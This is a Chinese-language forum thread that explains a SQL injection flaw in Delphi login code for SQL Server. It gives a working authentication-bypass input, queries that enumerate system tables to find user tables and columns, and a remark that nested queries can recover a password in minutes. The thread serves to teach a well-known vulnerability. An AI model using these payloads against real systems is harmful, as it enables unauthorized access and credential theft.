ZSWang:
// 数据库为 SQL Server
//请说说如下代码的漏洞
procedure TFormLogin.ButtonLoginClick(Sender: TObject);
begin
QueryLogin.SQL.Text := Format(
'SELECT COUNT(*)'#13#10 +
'FROM 用户信息表'#13#10 +
'WHERE 用户编号 = "%s" AND 用户口令 = "%s"'#13#10,
[EditUserId.Text, EditPassword.Text]);
QueryLogin.Open;
if QueryLogin.Fields[0].AsInteger <= 0 then
ShowMessage('口令错误')
else ShowMessage('登录成功');
QueryLogin.Close;
end;
在用户口令框中输入
" or "1"="1
用户名随便。
变成:
'SELECT COUNT(*)'#13#10 +
'FROM 用户信息表'#13#10 +
'WHERE 用户编号 = "asdfasdf" AND 用户口令 = "" or "1"="1"'
条件永远为真。
对用户资料的表名,一般是靠猜的。
Select * From Sysobjects Where (Xtype='U') and ((Name like '%User%') or (Name Like '%Operator%'))
只要知道表名,呵呵,试试下面的
Select Syscolumns.Name ColName,Systypes.Name TypeName,Syscolumns.length From Syscolumns
Join Systypes on Syscolumns.xtype=Systypes.xtype
Where Syscolumns.Id=Object_Id('表名')
获取上述信息之后,可能密码信息是加密的啊,那你还要再费一番功夫的。
回复人: zswang(伴水)(现在是专家门诊清洁工) ( ) 信誉:100 2002-7-17 11:06:06 得分:0
to hnsyf: 思路完全正确!在条件里嵌套查询,只要有时间一切都可以搞定
通过sysobjects猜测表名
通过syscolumns猜测字段名
表名、字段名都知道了,要知道用户密码不是很容易
一个用户ID手工十分钟以内可以破译